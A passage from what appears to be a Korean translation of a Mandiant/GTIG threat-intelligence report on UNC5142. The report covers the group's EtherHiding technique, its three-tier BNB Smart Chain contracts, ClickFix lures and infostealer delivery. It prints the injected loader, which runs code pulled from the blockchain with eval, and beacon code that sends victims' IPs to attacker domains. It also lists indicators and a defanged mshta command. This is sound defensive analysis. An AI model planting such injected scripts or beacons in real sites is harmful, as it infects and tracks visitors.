새롭게 등장한 위협 그룹: UNC5142, EtherHiding을 악용하여 악성코드 유포
Mandiant
Google Threat Intelligence Group
해당 블로그의 원문은 2025년 10월 17일 Google Cloud 블로그(영문)에 게재되었습니다.
작성자: Mark Magee, Jose Hernandez, Bavi Sadayappan, Jessa Valdez
2023년 말부터 Mandiant Threat Defense와 Google 위협 인텔리전스 그룹(GTIG)은 금전적 동기를 가진 위협 행위자인 UNC5142가 정보 탈취 악성코드(infostealers)의 유포를 용이하게 하기 위해 블록체인을 악용하는 것을 추적해 왔습니다. UNC5142는 침해된 WordPress 웹사이트와 BNB Smart Chain과 같은 공개 블록체인에 악성 코드나 데이터를 배치하여 은폐하는 기법인 "EtherHiding"을 사용하는 것이 특징입니다. 이 게시물은 EtherHiding 기법을 사용하는 공격자들에 대한 2부작 블로그 시리즈 중 일부입니다. 북한(DPRK)의 EtherHiding 채택에 관한 다른 게시물도 읽어보십시오.
2023년 말부터 UNC5142는 작전 보안을 강화하고 탐지를 회피하기 위해 전술, 기법 및 절차(TTP)를 크게 발전시켜 왔습니다. 특히, 2025년 7월 말 이후 UNC5142 활동이 관찰되지 않았는데, 이는 행위자의 작전 방식이 변화했거나 활동이 일시 중지되었음을 시사합니다.
UNC5142는 취약한 WordPress 사이트를 무차별적으로 표적으로 삼는 것으로 보이며, 이는 광범위하고 기회주의적인 캠페인으로 이어져 다양한 산업 및 지리적 지역에 영향을 미칩니다. 2025년 6월 기준으로, GTIG는 UNC5142에 의해 침해된 웹사이트와 일치하는 주입된 JavaScript를 포함하는 약 14,000개의 웹 페이지를 식별했습니다. UNC5142 캠페인이 ATOMIC, VIDAR, LUMMAC.V2, RADTHIEF를 포함한 정보 탈취 악성코드를 유포하는 것을 확인했습니다. GTIG는 현재 이 최종 페이로드들이 다른 위협 행위자들을 대신하여 유포될 가능성이 있기 때문에 이 페이로드들을 UNC5142에 귀속시키지는 않습니다. 이 게시물은 UNC5142의 전체 감염 사슬을 자세히 설명하고, 작전 인프라를 위한 스마트 계약의 새로운 사용을 분석하며, Mandiant Threat Defense 사건에서 직접 관찰된 내용을 바탕으로 TTP의 진화를 추적할 것입니다.
UNC5142 공격 개요
UNC5142 감염 사슬은 일반적으로 다음과 같은 주요 구성 요소 또는 기법을 포함합니다.
-
CLEARSHORT: 페이로드 유포를 용이하게 하는 다단계 JavaScript 다운로더
-
침해된 WordPress 웹사이트: 취약한 버전의 WordPress를 실행하거나 취약한 플러그인/테마를 사용하는 웹사이트
-
Smart Contracts(스마트 계약): BNB Smart Chain (BSC) 블록체인에 저장된 자체 실행 계약
-
EtherHiding: 악성 코드나 데이터를 공개 블록체인에 배치하여 은폐하는 데 사용되는 기법입니다. UNC5142는 악성 구성 요소를 스마트 계약에 저장하기 위해 BNB Smart Chain에 크게 의존하며, 이는 전통적인 웹사이트 보안 도구가 탐지하고 차단하기 어렵게 만듭니다.


그림 1: CLEARSHORT 감염 사슬
CLEARSHORT
CLEARSHORT는 악성코드 유포를 용이하게 하는 다단계 JavaScript 다운로더입니다. 1단계는 취약한 웹사이트에 주입된 JavaScript 페이로드로 구성되며, 이는 악의적인 스마트 계약으로부터 2단계 페이로드를 검색하도록 설계되었습니다. 이 스마트 계약은 다음 단계인 CLEARSHORT 랜딩 페이지를 공격자가 통제하는 외부 서버에서 가져오는 역할을 합니다. CLEARSHORT 랜딩 페이지는 피해자를 유인하여 Windows 실행(Run) 대화 상자를 사용하여 악성 명령을 로컬에서 실행하도록 하는 데 초점을 맞춘 인기 있는 사회공학 기법인 ClickFix를 악용합니다.
CLEARSHORT는 CLEARFAKE 다운로더의 진화 버전으로, UNC5142가 2023년 말부터 2024년 중반까지 이전 작전에서 활용했던 것입니다. CLEARFAKE는 Google Chrome 브라우저 업데이트 알림으로 위장하는 악의적인 JavaScript 프레임워크입니다. 임베딩된 JavaScript의 주요 기능은 사용자가 "Chrome 업데이트" 버튼을 클릭한 후 페이로드를 다운로드하는 것입니다. 2단계 페이로드는 BNB Smart Chain에 배포된 스마트 계약에 저장된 Base64로 인코딩된 JavaScript 코드입니다.
침해된 WordPress 사이트
공격은 취약한 WordPress 웹사이트를 침해하여 무단 접근 권한을 획득하는 것에서 시작됩니다. UNC5142는 악의적인 JavaScript(CLEARSHORT 1단계) 코드를 다음 세 위치 중 하나에 주입합니다.
-
플러그인 디렉터리: 기존 플러그인 파일을 수정하거나 새로운 악성 파일을 추가합니다.
-
테마 파일: 테마 파일(예:
header.php
,footer.php
,index.php
)을 수정하여 악성 스크립트를 포함시킵니다. -
데이터베이스: 일부 경우, 악성 코드가 WordPress 데이터베이스에 직접 주입됩니다.
스마트 계약이란 무엇인가요?
스마트 계약은 BNB Smart Chain(BSC)과 같은 블록체인에 저장된 프로그램으로, 지정된 트리거가 발생하면 자동으로 실행됩니다. 이러한 트리거는 복잡할 수 있지만, CLEARSHORT는 계약에 실행을 지시하고 미리 저장된 데이터를 반환하는 함수를 호출하는 더 간단한 방식을 사용합니다.
스마트 계약은 위협 행위자들이 작전에서 활용할 수 있는 다음과 같은 여러 이점을 제공합니다.
-
난독화: 스마트 계약 내부에 악성 코드를 저장하면 웹사이트 콘텐츠를 직접 스캔하는 전통적인 웹 보안 도구로 탐지하기 더 어려워집니다.
-
가변성 및 민첩성: 스마트 계약 자체는 불변적이지만, 공격자들은 영리한 기법을 사용합니다. 이들은 두 번째 수준의 스마트 계약을 가리키는 포인터를 포함하는 첫 번째 수준의 스마트 계약을 배포합니다. 첫 번째 수준의 계약은 침해된 웹사이트에서 주소가 절대 변하지 않는 안정적인 진입점 역할을 하며, 주입된 JavaScript가 두 번째 수준의 계약에서 코드를 가져오도록 지시함으로써, 공격자들은 침해된 웹사이트를 수정하지 않고도 이 대상을 변경할 수 있는 능력을 갖게 됩니다.
-
복원력: UNC5142의 인프라 및 작전의 상당 부분에 블록체인 기술을 사용하면 탐지 및 테이크다운 노력에 직면하여 복원력이 증가합니다. 전통적인 URL을 사용하지 않기 때문에 Web3 트래픽에 대한 네트워크 기반 보호 메커니즘은 전통적인 웹 트래픽에 비해 구현하기가 더 어렵습니다. 블록체인의 불변성으로 인해 압류 및 테이크다운 작전 또한 방해를 받습니다. 이는 게시물 뒷부분에서 더 자세히 논의됩니다.
-
합법적인 인프라 악용: BNB Smart Chain은 합법적인 플랫폼입니다. 이를 사용하면 악성 트래픽이 정상적인 활동과 섞여 탐지를 회피하는 수단이 될 수 있습니다.
스마트 계약 상호 작용
CLEARSHORT 1단계는 HTTP, IPC 또는 WebSocket을 사용하여 원격 이더리움 노드와 상호 작용할 수 있게 해주는 라이브러리 모음인 Web3.js를 사용합니다. 일반적으로 bsc-dataseed.binance[.]org
와 같은 공개 노드를 통해 BNB Smart Chain에 연결합니다. 1단계 코드는 특정 스마트 계약 주소와 상호 작용하고, 계약의 애플리케이션 바이너리 인터페이스(ABI)에 정의된 함수를 호출하는 명령을 포함합니다. 이 함수들은 CLEARSHORT 랜딩 페이지의 URL을 포함한 페이로드를 반환합니다. 이 페이지는 브라우저 내에서 디코딩되어 실행되며, 피해자에게 가짜 오류 메시지를 표시합니다. 이 오류 메시지의 유인책과 템플릿은 시간이 지남에 따라 다양하게 변해왔지만, 피해자가 실행 대화 상자를 통해 악성 명령을 실행하도록 유인하는 목표는 유지하고 있습니다. 실행된 명령은 궁극적으로 후속 페이로드(종종 정보 탈취 악성코드)의 다운로드 및 실행을 초래합니다.
// Load libraries from public CDNs to intereact with blockchain and decode payloads.
<script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/pako/2.0.4/pako.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/crypto-js@4.1.1/crypto-js.min.js"></script>
<script>
console.log('Start moving...');
// The main malicious logic starts executing once the webpage's DOM is fully loaded.1st
document.addEventListener('DOMContentLoaded', async () => {
try {
// Establishes a connection to the BNB Smart Chain via a public RPC node.
const web3 = new Web3('https://bsc-dataseed.binance.org/');
// Creates an object to interact with the 1st-Level Smart Contract.
const contract = new web3.eth.Contract([
{
"inputs": [],
"stateMutability": "nonpayable",
"type": "constructor"
},
{
"inputs": [],
"name": "orchidABI", // Returns 2nd contract ABI
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [],
"name": "orchidAddress",// Returns 2nd contract address
"outputs": [{
"internalType": "string",
"name": "",
"type": "string"
}],
"stateMutability": "view",
"type": "function"
},
], '0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53'); // Hardcoded address of the 1st-Level Contract.
// ABI is Base64 decoded and then decompressed to get clean ABI.
const orchidABI = JSON.parse(pako.ungzip(Uint8Array.from(atob(await contract.methods.orchidABI().call()), c => c.charCodeAt(0)), {
to: 'string'
}));
// Calls the 'orchidAddress' function to get the address of the 2nd-Level Contract.
const orchidAddress = await contract.methods.orchidAddress().call();
// New contract object created to represent 2nd-level contract.
const orchid = new web3.eth.Contract(orchidABI, orchidAddress);
const decompressedScript = pako.ungzip(Uint8Array.from(atob(await orchid.methods.tokyoSkytree().call()), c => c.charCodeAt(0)), {
to: 'string'
});
eval(`(async () => { ${decompressedScript} })().then(() => { console.log('Moved.'); }).catch(console.error);`);
} catch (error) {
console.error('Road unavaible:', error);
}
});
</script>
그림 2: 침해된 웹사이트에서 주입된 코드 - CLEARSHORT 1단계
사용자가 침해된 웹페이지를 방문하면, 주입된 JavaScript가 브라우저에서 실행되고 하나 또는 여러 개의 BNB 스마트 계약에 대한 연결을 시작하며, 그 결과 CLEARSHORT 랜딩 페이지(2단계)를 검색하고 렌더링합니다 (그림 3).


그림 3: Cloudflare의 "비정상적인 웹 트래픽" 오류를 보여주는 CLEARSHORT 랜딩 페이지
EtherHiding
UNC5142 작전의 핵심 요소는 EtherHiding 기법을 사용하는 것입니다. 이들은 전체 공격 사슬을 침해된 웹사이트 내에 삽입하는 대신, 악성 구성 요소를 BNB Smart Chain에 저장하고 스마트 계약을 동적 구성 및 제어 백엔드로 사용합니다. 온체인 작전은 하나 이상의 공격자가 통제하는 지갑에 의해 관리됩니다. 이들 외부 소유 계정(Externally Owned Accounts, EOAs)은 다음을 위해 사용됩니다.
-
스마트 계약 배포: 공격 사슬의 기반을 구축합니다.
-
BNB 공급: 공격 인프라에 변경 사항을 적용하는 데 필요한 네트워크 수수료(BNB)를 지불합니다.
-
계약 내 포인터 및 데이터 업데이트: 후속 계약의 주소를 변경하거나 페이로드 복호화 키를 교체하는 등 계약 내 포인터와 데이터를 업데이트합니다.


그림 4: UNC5142의 BNB 스마트 체인 기반 EtherHiding 아키텍처
UNC5142 TTP의 진화
지난 1년 동안 Mandiant Threat Defense와 GTIG는 UNC5142의 TTP(전술, 기법 및 절차)에서 일관된 진화를 관찰했습니다. 이들의 캠페인은 단일 계약 시스템에서 시작하여 2024년 후반부터 동적 다단계 접근 방식을 가능하게 하는 훨씬 더 복잡한 3단계 스마트 계약 아키텍처로 발전했습니다.
이러한 진화는 몇 가지 주요 변화로 특징지어집니다: 동적 페이로드 전달을 위한 3개의 스마트 계약 시스템 채택, 악성 유인책(lures) 호스팅을 위해 Cloudflare Pages와 같은 합법적인 서비스 남용, 그리고 단순한 Base64 인코딩에서 AES 암호화로의 전환입니다. 이 행위자는 사회공학적 유인책을 지속적으로 다듬고 인프라를 확장했으며, 때로는 병렬적인 스마트 계약 세트를 운영하여 캠페인의 규모와 복원력을 모두 높였습니다.
Cloudflare Pages 악용
2024년 후반, UNC5142는 랜딩 페이지 호스팅을 이전에 사용했던 .shop
TLD 도메인에서 Cloudflare Pages 서비스(*.pages.dev
) 사용으로 전환했습니다. Cloudflare Pages는 Cloudflare가 유지 관리하는 합법적인 서비스로, Cloudflare 네트워크를 활용하여 웹사이트가 신속하게 로드되도록 하는 빠른 웹사이트 구축 메커니즘을 제공합니다. 이러한 페이지는 몇 가지 이점을 제공합니다. Cloudflare는 신뢰할 수 있는 회사이므로 이들 페이지는 즉시 차단될 가능성이 낮으며, 공격자들은 이전 페이지가 차단될 경우 새 페이지를 신속하게 생성하기 쉽습니다.
3단계 스마트 계약 시스템
가장 중요한 변화는 단일 스마트 계약 시스템에서 3단계 스마트 계약 시스템으로의 전환입니다. 이 새로운 아키텍처는 개발자들이 계약을 업그레이드 가능하게 만들기 위해 사용하는 프록시 패턴이라는 합법적인 소프트웨어 설계 원칙을 응용한 것입니다. 안정적이고 변경 불가능한 프록시가 별도의 2단계 계약으로 호출을 전달하며, 이 2단계 계약은 버그를 수정하거나 기능을 추가하기 위해 교체될 수 있습니다.
이 설정은 각 계약이 특정 작업을 수행하는 고효율의 Router-Logic-Storage 아키텍처로 기능합니다. 이 설계는 랜딩 페이지 URL이나 복호화 키와 같은 공격의 핵심 부분을 침해된 웹사이트의 JavaScript를 수정할 필요 없이 신속하게 업데이트할 수 있게 합니다. 그 결과, 캠페인은 훨씬 더 민첩하고 테이크다운에 대한 저항력이 높아집니다.
1) 1단계 계약으로의 초기 호출: 감염은 침해된 웹사이트에 주입된 JavaScript가 1단계 스마트 계약(예: 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53
)으로 eth_call
을 수행하면서 시작됩니다. 이 계약의 주요 기능은 라우터 역할을 하는 것입니다. 그 역할은 다음 단계를 위한 주소와 ABI(Application Binary Interface)를 제공하여, 공격자들이 방대한 침해된 웹사이트 네트워크에서 스크립트를 업데이트할 필요가 거의 없도록 보장하는 것입니다. ABI 데이터는 압축되고 Base64로 인코딩된 형식으로 반환되며, 스크립트는 이를 atob()
를 통해 디코딩하고 pako.unzip
을 사용하여 압축을 해제하여 깔끔한 인터페이스 데이터를 얻습니다.
2) 2단계 계약을 통한 피해자 핑거프린팅: 주입된 JavaScript는 2단계 스마트 계약(예: 0x8FBA1667BEF5EdA433928b220886A830488549BD
)에 연결됩니다. 이 계약은 공격의 로직 역할을 하며, 정찰 활동을 수행하는 코드를 포함합니다 (그림 5 및 그림 6). 이 계약은 일련의 eth_call
작업을 수행하여 계약 내의 특정 함수를 실행하고 피해자의 환경을 핑거프린팅합니다.
teaCeremony (0x9f7a7126)
: 초기에는 동적 코드 실행 및 페이지 표시를 위한 메서드로 사용되었습니다. 이후 POST 체크인 추가 및 제거에 사용되었습니다.shibuyaCrossing (0x1ba79aa2)
: 시간이 지남에 따라 추가된 OS/플랫폼 값을 통해 피해자의 플랫폼 또는 운영 체제를 식별하는 역할을 합니다.asakusaTemple (0xa76e7648)
: 초기에는 콘솔 로그 표시를 위한 자리 표시자였으나, 나중에는 사용자 에이전트 값을 전송하여 사용자 상호 작용 단계를 추적하는 비콘으로 발전했습니다.ginzaLuxury (0xa98b06d3)
: 사용자에게 악의적인 유인책을 찾고, 가져오고, 복호화하고, 궁극적으로 표시하기 위한 코드를 검색하는 역할을 합니다.
명령 및 제어(C2) 체크인 기능은 계약 내에서 다음과 같이 진화했습니다.
-
Late 2024: 스크립트는 STUN 서버(
stun:stun.l.google.com:19302
)를 사용하여 피해자의 공용 IP를 얻었고, 이를saaadnesss[.]shop
또는lapkimeow[.]icu/check
와 같은 도메인으로 전송했습니다. -
February 2025: STUN 기반 POST 체크인이 제거되었고,
teaCeremony
(0x9f7a7126
) 함수 내에서 쿠키 기반 추적 메커니즘(data-ai-collecting
)으로 대체되었습니다. -
April 2025: 체크인 메커니즘이 재도입 및 강화되었습니다.
asakusaTemple
(0xa76e7648
) 함수가 수정되어ratatui[.]today
도메인으로 단계별 POST 요청을 전송하고, 유인책 상호 작용의 각 단계에서 비콘을 보내 피해자 진행 상황을 추적했습니다.


그림 5: 2단계 스마트 계약 트랜잭션 내용의 예시
//Example of code retrieved from the second-level smart contract (IP check and STUN)
if (await new Promise(r => {
let a = new RTCPeerConnection({ iceServers: [{ urls: "stun:stun.l.google.com:19302" }] });
a.createDataChannel("");
a.onicecandidate = e => {
let ip = e?.candidate?.candidate?.match(/\d+\.\d+\.\d+\.\d+/)?.[0];
if (ip) {
fetch('https://saaadnesss[.]shop/check', { // Or lapkimeow[.]icu/check
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ ip, domain: location.hostname })
}).then(r => r.json()).then(data => r(data.status));
a.onicecandidate = null;
}
};
a.createOffer().then(o => a.setLocalDescription(o));
}) === "Decline") {
console.warn("Execution stopped: Declined by server");
} else {
await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
}
Figure 6: Decoded reconnaissance code stored in second-level smart contract transaction
3) 3단계 계약의 유인책 및 페이로드 URL 호스팅: 피해자가 핑거프린팅되면, 2단계 계약의 로직은 3단계 스마트 계약(예: 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA
)에 쿼리합니다. 이 최종 계약은 구성 저장소 컨테이너 역할을 합니다. 여기에는 일반적으로 암호화된 CLEARSHORT 페이로드를 호스팅하는 URL, 페이지를 복호화하는 데 사용되는 AES 키, 그리고 2단계 페이로드를 호스팅하는 URL이 포함됩니다.


그림 7: 암호화된 랜딩 페이지 URL


그림 8: 페이로드 URL
정적인 로직(2단계)을 동적인 구성(3단계)과 분리함으로써, UNC5142는 3단계 계약에 대한 단 한 번의 저렴한 트랜잭션으로 도메인을 신속하게 교체하고, 유인책을 업데이트하며, 복호화 키를 변경할 수 있어 캠페인이 테이크다운에 효과적으로 대응하도록 보장합니다.
불변 계약이 '업데이트'될 수 있는 방법
정의상 변경 불가능한 것을 공격자들이 어떻게 업데이트할 수 있는지에 대한 핵심적인 질문이 발생합니다. 그 해답은 스마트 계약의 코드와 데이터 사이의 구별에 있습니다.
-
불변 코드: 스마트 계약이 일단 배포되면 그 프로그램 코드는 영구적이며 절대 변경될 수 없습니다. 이것이 신뢰와 안정성을 제공하는 부분입니다.
-
가변 데이터(상태): 하지만 계약은 프로그램이 데이터베이스를 사용하는 것과 매우 유사하게 데이터를 저장할 수도 있습니다. 계약의 영구적인 코드에는 이 저장된 데이터를 변경하도록 특별히 설계된 함수가 포함될 수 있습니다.
UNC5142는 스마트 계약이 특별한 관리 함수를 포함하도록 구축함으로써 이를 악용합니다. 페이로드 URL을 변경하기 위해 행위자는 통제하는 지갑을 사용하여 이 함수 중 하나를 호출하는 트랜잭션을 전송하고, 여기에 새로운 URL을 입력합니다. 계약의 영구적인 코드가 실행되어 이 새로운 정보를 받아들이고 저장소의 이전 URL을 덮어씁니다.
그 시점부터, 계약에 쿼리하는 모든 악성 스크립트는 자동으로 새롭고 업데이트된 주소를 수신하게 됩니다. 계약의 프로그램은 손대지 않은 채로 남아있지만, 그 구성은 이제 완전히 달라진 것입니다. 이것이 그들이 불변의 원장 위에서 운영하면서도 민첩성을 확보하는 방식입니다.
트랜잭션 분석에 따르면, 3단계 계약에서 유인책 URL이나 복호화 키를 변경하는 것과 같은 일반적인 업데이트는 행위자에게 네트워크 수수료로 0.25달러에서 1.50달러의 비용이 듭니다. 스마트 계약을 배포하는 일회성 비용을 제외하면, 운영자 지갑에 대한 초기 자금만으로 수백 건의 이러한 업데이트를 충당하기에 충분합니다. 이처럼 낮은 운영 비용은 그들의 복원력 있는 대규모 캠페인을 가능하게 하는 핵심 요소이며, 최소한의 비용으로 테이크다운에 신속하게 적응할 수 있도록 합니다.
AES 암호화된 CLEARSHORT
2024년 12월, UNC5142는 이전에 사용했던 Base64로 인코딩된 페이로드에서 벗어나 CLEARSHORT 랜딩 페이지에 AES 암호화를 도입했습니다. 이는 일부 탐지 노력의 효과를 감소시킬 뿐만 아니라, 보안 연구원들의 페이로드 분석 난이도를 높입니다. 암호화된 CLEARSHORT 랜딩 페이지는 일반적으로 Cloudflare .dev 페이지에 호스팅됩니다. AES로 암호화된 랜딩 페이지를 복호화하는 함수는 3단계 스마트 계약에서 검색된 초기화 벡터(initialization vector)를 사용합니다 (그림 9 및 그림 10). 복호화는 피해자의 브라우저 내에서 클라이언트 측으로 수행됩니다.


그림 9: 스마트 계약 트랜잭션 내의 AES 키
// Simplified example of the decryption logic
async function decryptScrollToText(encryptedBase64, keyBase64) {
const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
const iv = combinedData.slice(0, 12); // IV is the first 12 bytes
const encryptedData = combinedData.slice(12);
const cryptoKey = await crypto.subtle.importKey(
"raw", key, "AES-GCM", false, ["decrypt"]
);
const decryptedArrayBuffer = await crypto.subtle.decrypt(
{ name: "AES-GCM", iv },
cryptoKey,
encryptedData
);
return new TextDecoder().decode(decryptedArrayBuffer);
}
// ... (Code to fetch encrypted HTML and key from the third-level contract) ...
if (cherryBlossomHTML) { // cherryBlossomHTML contains the encrypted landing page
try {
let sakuraKey = await JadeContract.methods.pearlTower().call(); // Get the AES key
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);
// ... (Display the decrypted HTML in an iframe) ...
} catch (error) {
return;
}
}
그림 10: 단순화된 복호화 로직
CLEARSHORT 템플릿 및 유인책
UNC5142는 랜딩 페이지에 다양한 유인책을 사용했으며, 시간이 지남에 따라 이를 발전시켜 왔습니다.
- 2025년 1월: 유인책에는 가짜 데이터 개인 정보 보호 동의 및 reCAPTCHA 턴스타일(turnstiles)이 포함되었습니다 (그림 11 및 그림 12).


그림 11: "데이터 수집 비활성화" CLEARSHORT 유인책


그림 12: 가짜 reCAPTCHA 유인책
- 2025년 3월: 해당 위협 클러스터는 Cloudflare IP 웹 오류를 모방하는 유인책을 사용하기 시작했습니다 (그림 13).


그림 13: Cloudflare "비정상적인 웹 트래픽" 오류
- 2025년 5월: "봇 방지 유인책(Anti-Bot Lure)"이 관찰되었으며, 이는 가짜 인증 단계의 또 다른 변형을 제시합니다 (그림 14).


그림 14: 봇 방지 유인책
온체인(On-Chain) 분석
Mandiant Threat Defense가 BNB Smart Chain에서 수행한 UNC5142의 온체인 활동 분석은 명확하고 진화하는 작전 전략을 보여줍니다. 이들의 블록체인 트랜잭션 타임라인은 GTIG가 주(Main) 인프라와 보조(Secondary) 인프라로 추적하는 두 가지 개별적인 스마트 계약 인프라 세트의 사용을 보여줍니다. 둘 다 CLEARSHORT 다운로더를 통해 악성코드를 전달하는 동일한 궁극적 목적을 수행합니다.
스마트 계약의 컴파일된 바이트코드를 비교하여 기능적 공통점을 찾는 프로세스인 BNB Smart Chain의 스마트 계약 유사성 검색을 활용한 결과, 주 인프라와 보조 인프라의 스마트 계약이 생성 시점에 동일했음이 밝혀졌습니다. 이는 동일한 위협 행위자인 UNC5142가 관찰된 모든 활동을 담당하고 있음을 강력하게 시사합니다. 행위자는 성공적인 주 인프라를 복제하여 보조 인프라의 기반을 만들었으며, 이는 후속 트랜잭션을 통해 다른 페이로드를 전달하도록 업데이트될 수 있었을 가능성이 높습니다.
자금 출처에 대한 추가 분석은 두 그룹의 주요 운영자 지갑이 OKX 암호화폐 거래소와 관련된 계정인 동일한 중개 지갑(0x3b5a...32D
)으로부터 자금을 받았음을 보여줍니다. 거래량이 많은 거래소 지갑의 트랜잭션에만 의존한 귀속에는 주의가 필요하지만, 이 재정적 연결은 동일한 스마트 계약 코드 및 복제된 배포 방법론과 결합되어 단일 위협 행위자인 UNC5142가 두 인프라를 모두 통제하고 있을 가능성이 매우 높음을 시사합니다.
병렬 유포 인프라 (Parallel Distribution Infrastructures)
트랜잭션 기록은 두 그룹의 주요 이벤트가 근접하게 발생했음을 보여주며, 이는 조정된 관리를 나타냅니다.
2025년 2월 18일, 전체 보조 인프라가 생성 및 구성되었을 뿐만 아니라, 주 운영자 지갑도 같은 날 추가 자금을 받았습니다. 이 조정된 자금 조달 활동은 단일 행위자가 작전 확장을 준비하고 실행했음을 강력하게 시사합니다.
더 나아가, 2025년 3월 3일, 트랜잭션 기록은 주 및 보조 인프라의 운영자 지갑이 페이로드 및 유인책 업데이트 활동을 수행했음을 보여줍니다. 이는 동시적인 캠페인 관리를 입증하며, 행위자가 두 세트의 스마트 계약을 통해 동시에 별도의 유포 노력을 적극적으로 유지 및 실행했음을 나타냅니다.
주 인프라
Mandiant Threat Defense의 분석은 주 인프라의 생성이 2024년 11월 24일의 짧고 집중된 기간에 이루어졌음을 정확히 지적합니다. 주요 주 운영자 지갑(0xF5B9...71B
)은 같은 날 0.1 BNB (당시 약 66달러 상당)로 처음 자금을 받았습니다. 이후 몇 달 동안 이 지갑과 관련 중개 지갑은 여러 차례 자금을 받았으며, 이는 행위자가 지속적인 작전의 트랜잭션 수수료를 충당할 충분한 BNB를 확보했음을 보장합니다.
주 인프라의 트랜잭션 기록은 2025년 상반기 내내 일관된 업데이트를 보여줍니다. 초기 설정 이후, Mandiant는 2024년 12월부터 2025년 5월 말까지 거의 월별, 때로는 격주로 페이로드 및 유인책 업데이트가 발생하는 것을 관찰했습니다. 3단계 스마트 계약에 대한 빈번한 업데이트로 특징지어지는 이 지속적인 활동은 이것이 UNC5142 캠페인의 주요 인프라 역할을 함을 입증합니다.
보조 인프라
Mandiant Threat Defense는 행위자가 새로운 병렬 보조 인프라를 배포하는 상당한 작전 확장을 관찰했습니다. 보조 운영자 지갑(0x9AAe...fac9
)은 2025년 2월 18일에 0.235 BNB (당시 약 152달러 상당)를 받으며 자금이 조달되었습니다. 그 직후, 전체 3단계 계약 시스템이 배포 및 구성되었습니다. Mandiant는 보조 인프라에 대한 업데이트가 2025년 2월 말부터 3월 초 사이에 활발했음을 관찰했습니다. 이 초기 기간 이후, 보조 스마트 계약에 대한 업데이트 빈도는 상당히 감소했습니다.


그림 15: UNC5142의 온체인 인프라 타임라인
주 인프라는 초기 생성과 꾸준한 업데이트 흐름으로 특징지어지는 핵심 캠페인 인프라로 두드러집니다. 보조 인프라는 병렬적인 동시에 더 전술적인 배포로 보이며, 특정 캠페인 활동 급증을 지원하거나, 새로운 유인책을 테스트하거나, 단순히 작전 복원력을 구축하기 위해 구축되었을 가능성이 높습니다.
이 게시물 작성일 기준으로 이 인프라에 대한 마지막 온체인 업데이트는 2025년 7월 23일에 관찰되었으며, 이는 이 캠페인의 일시 중단 또는 행위자의 작전 방식에 잠재적인 변화가 있음을 시사합니다.
최종 페이로드 유포
지난 1년 동안 Mandiant Threat Defense는 UNC5142가 VIDAR, LUMMAC.V2, RADTHIEF를 포함한 광범위한 최종 페이로드를 유포하는 것을 관찰했습니다 (그림 16). 일정 기간 동안 다양한 페이로드를 유포하는 점을 감안할 때, UNC5142가 악성코드 유포 위협 클러스터로 기능할 가능성이 있습니다. 유포 위협 클러스터는 사이버 범죄 위협 환경 내에서 중요한 역할을 수행하며, 다양한 기술적 정교함을 가진 행위자들에게 악성코드를 유포하거나 피해자 환경에 초기 접근 권한을 얻는 수단을 제공합니다. 그러나 정보 탈취 악성코드(infostealers)의 일관된 유포를 고려할 때, 이 위협 클러스터의 목표가 훔친 자격 증명을 획득하여 다른 위협 클러스터에 판매하는 등 추가 작전을 용이하게 하는 것일 가능성도 있습니다. UNC5142의 정확한 사업 모델은 불분명하지만, GTIG는 현재 이들이 유포 위협 클러스터일 가능성 때문에 최종 페이로드를 해당 클러스터에 귀속시키지 않고 있습니다.


그림 16: 시간 경과에 따른 UNC5142 최종 페이로드 유포
2025년 초부터 이들의 감염 사슬을 분석한 결과, UNC5142는 초기 CLEARSHORT 유인책 이후 반복적인 4단계 전달 사슬을 따르는 것으로 나타났습니다.
-
초기 드로퍼: 1단계는 거의 항상 원격 HTML 애플리케이션(.hta) 파일 실행을 포함하며, 종종 .xll(Excel 추가 기능)과 같은 양성 파일 확장자로 위장합니다. 악성 도메인 또는 합법적인 파일 공유 서비스에서 다운로드되는 이 구성 요소는 브라우저의 보안 샌드박스 외부에서 피해자 시스템에 코드를 실행하기 위한 진입점 역할을 합니다.
-
PowerShell 로더: 초기 드로퍼의 주요 역할은 2단계 PowerShell 스크립트를 다운로드하고 실행하는 것입니다. 이 스크립트는 방어 회피를 담당하며 최종 페이로드 다운로드를 조정합니다.
-
합법적인 서비스 악용: 행위자는 GitHub 및 MediaFire와 같은 합법적인 파일 호스팅 서비스를 일관되게 활용하여 암호화된 데이터 블롭(blob)을 호스팅하며, 일부 사례에서는 최종 페이로드가 자체 인프라에 호스팅되는 것이 관찰되었습니다. 이 전술은 악성 트래픽이 합법적인 네트워크 활동과 섞여들게 하여 평판 기반 보안 필터를 우회하는 데 도움이 됩니다.
-
메모리 내 실행: 1월 초에는 VIDAR를 전달하는 데 실행 파일이 사용되었지만, 이후 최종 악성코드 페이로드는 일반 파일 형식(예: .mp4, .wav, .dat)으로 위장한 암호화된 데이터 블롭 형태로 전달되도록 전환되었습니다. PowerShell 로더에는 이 블롭을 다운로드하고 메모리에서 복호화하며 최종 페이로드(종종 .NET 로더)를 실행하는 로직이 포함되어 있어, 복호화된 악성코드를 디스크에 전혀 기록하지 않습니다.


그림 17: UNC5142 정보 탈취 악성코드 전달 감염 사슬
초기 캠페인
이전 감염 사슬에서는 1단계 .hta 드로퍼의 URL이 종종 CLEARSHORT 유인책의 명령에 직접 하드코딩되었습니다(예: mshta hxxps[:]//...pages.dev
). 그런 다음 중간의 PowerShell 스크립트가 GitHub와 같은 공개 저장소에서 최종 악성코드를 직접 다운로드했습니다.
2025년 1월
